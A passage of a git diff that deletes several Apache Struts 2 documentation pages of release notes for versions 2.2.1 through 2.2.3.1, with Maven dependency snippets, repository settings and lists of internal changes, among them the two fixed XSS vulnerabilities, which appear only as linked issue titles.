-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-2181.html">Version Notes 2.1.8.1</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.2.1&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-
-<h2 id="VersionNotes2.2.1-InternalChanges">Internal Changes</h2>
-
-<ul><li>XWork was moved to ASF and it's a part of Struts 2 now. With this release the new XWork 2.2.0 is also available! In the future version, the XWork will be merged into Struts 2.</li><li>XWork Maven artifact is now under &lt;groupId&gt;org.apache.struts.xwork&lt;/groupId&gt; - it's Nexus requirement</li><li>The XWork is using the latest OGNL version 3.0, the OGNL source code repository is hosted at <a shape="rect" class="external-link" href="http://github.com/jkuhnert/ognl" rel="nof [...]
-
-
-<h3 id="VersionNotes2.2.1-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;styleName=Html&amp;version=12315170">JIRA Release Notes 2.2.1 </a> regarding Struts 2</li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311042&amp;styleName=Html&amp;version=12315181">JIRA Release Notes 2.2.1 </a> regarding XWork 2</li></ul>
-
-
-<h3 id="VersionNotes2.2.1-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12314401">Struts 2.2.1 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12314413">XWork 2.2.1 DONE </a> - please be aware that not all issues were moved from OpenSymphony.com to ASF JIRA</li><li><a shape="rect" class="external-link" href="https://issues.apache.or [...]
-
-
-<h3 id="VersionNotes2.2.1-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2211.html b/content/docs/version-notes-2211.html
deleted file mode 100644
index 711c4ea..0000000
--- a/content/docs/version-notes-2211.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.2.1.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2211.html">Version Notes 2.2.1.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.2.1.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=24188645">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=24188645">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=24188645">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=24188645">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=24188645">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=24188645">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.2.1.1 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-221.html">Version Notes 2.2.1</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.2.1.1&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.2.1.1-InternalChanges">Internal Changes</h2>
-
-<ul><li>Dynamic Method Invocation flag was added to REST Plugin, so you can disable that functionality and prevent some security flaw - please be aware that the DMI will be removed in the next major release!</li></ul>
-
-
-<h3 id="VersionNotes2.2.1.1-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;styleName=Html&amp;version=12315915">JIRA Release Notes 2.2.1.1 </a></li></ul>
-
-
-<h3 id="VersionNotes2.2.1.1-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12314989">Struts 2.2.1.1 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12314400">Struts 2.2.2 TODO </a></li></ul>
-
-
-<h3 id="VersionNotes2.2.1.1-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-223.html b/content/docs/version-notes-223.html
deleted file mode 100644
index d5a0f8e..0000000
--- a/content/docs/version-notes-223.html
+++ /dev/null
@@ -1,204 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.2.3</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-223.html">Version Notes 2.2.3</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.2.3</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26116438">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26116438">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26116438">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26116438">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26116438">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26116438">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.2.3 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-2211.html">Version Notes 2.2.1.1</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.2.3&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/2.2.3/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.2.3-InternalChanges">Internal Changes</h2>
-
-<ul><li>Two important vulnerability were solved with this release:
-	<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-3597">XSS vulnerability in javatemplates plugin </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-3579">Struts 2 &lt;s:submit&gt; XSS vulnerability </a></li></ul>
-	</li><li>OGNL was upgraded to version 3.0.1 which includes Javassist library, so you don't have to specify it as a separated dependency in your project</li><li>Shade of Commons library using maven-shade-plugin was removed from Struts 2 Core and other modules</li><li>The whole project was adjusted to Maven 3 requirements</li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-3546">Add ability to control devMode per request </a></li><li>Many fixes and [...]
-
-
-<h3 id="VersionNotes2.2.3-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12315200">JIRA Release Notes 2.2.3 </a></li></ul>
-
-
-<h3 id="VersionNotes2.2.3-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12315427">Struts 2.2.3 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12315426">Struts 2.3 TODO </a></li></ul>
-
-
-<h3 id="VersionNotes2.2.3-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2231.html b/content/docs/version-notes-2231.html
deleted file mode 100644
index 347097f..0000000
--- a/content/docs/version-notes-2231.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.2.3.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2231.html">Version Notes 2.2.3.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.2.3.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27826153">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27826153">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27826153">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27826153">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27826153">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
